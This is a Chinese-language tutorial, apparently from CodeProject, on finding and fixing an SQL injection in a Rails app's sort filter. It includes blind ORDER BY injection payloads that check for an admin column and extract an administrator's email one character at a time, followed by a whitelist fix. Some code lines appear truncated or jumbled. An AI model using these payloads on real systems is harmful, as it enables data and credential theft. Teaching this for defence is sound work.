目录
介绍
开始
结论
- 下载源代码 - 1.5 MB
在我的项目任务之一中,我致力于改进仪表板。仪表板——它只是具有不同类型实体(通过卡片显示)和侧栏中过滤器(按关键字搜索、顺序、按类型过滤)的用户的主页。
开始这是Sort过滤器的HTML代码。
Recent First
Date Created ⬇
Date Created ⬆
A-Z
Z-A
ordering和order的字段名称放在一个地方,中间有空格。
我的第一个想法是,“为什么value看起来与SQL请求部分非常相似?” 我决定更深入地研究它,发现我们肯定将它传递为:
scope = scope.filter_results(keyword: @keyword, _
state_filter: @state_filter, order_filter: params[:order_filter])
其中filter_results只是一个调用state_filter和order_filter模型的关注方法(如果存在)。
所以,在模型中,我们只有这个:
scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # 0, 'YES', 'NO');
如果我们在users表中有is_admin列,它应该返回YES。
让我们使用列名进行查询以进行排序:
(SELECT IF ((SELECT count(*) FROM information_schema.columns WHERE COLUMN_NAME = 'admin' _
AND table_name = 'users' LIMIT 1)>0, title, created_at))
第一张牌是Fundico,第二张牌是Area。users表中没有is_admin列。让我们试试admin:
开始了!现在我们知道我们的users表中有admin列。
PS 带有注入代码的完整查询如下所示:
SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN
(SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members`
ON `team_members`.`cool_dude_id` = `table_2`.`id`
WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***))
ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))
让我们通过类比找到其余的数据。首先,我们需要找到任何管理员用户的email来访问系统。
我们可以使用ASCII表一个符号一个符号的做:
我们只需要一一粘贴所有符号并寻找匹配项:
SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) _
FROM users where admin = true LIMIT 1)=105, title, created_at)
该查询返回true如果在符号的第一个ASCII码的第一个管理员的email等于105(即,电子邮件的第一个符号是i)。
然后我们使用第二个符号ASCII(SUBSTRING(email, 2, 1))并一一找到所有符号。
结论我们可以使用这个漏洞找到任何信息,如所有用户的凭据、电话、地址等。始终小心,尽量不要在Rails中使用字符串进行搜索和过滤。
Rails对漏洞有足够的保护,但没有什么可以使您免于自己的错误。
使用包装器,如散列和数组。不要使用User.where(“name = ‘#{params[:name]'”)。
使用User.where([“name = ?”, “#{params[:name]}”]) 或User.where({ name: params[:name] })代替。
只需使用一行代码即可修复此漏洞,例如:
Ruby
ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])
Security Vulnerabilities – How to Find and Fix Them - CodeProject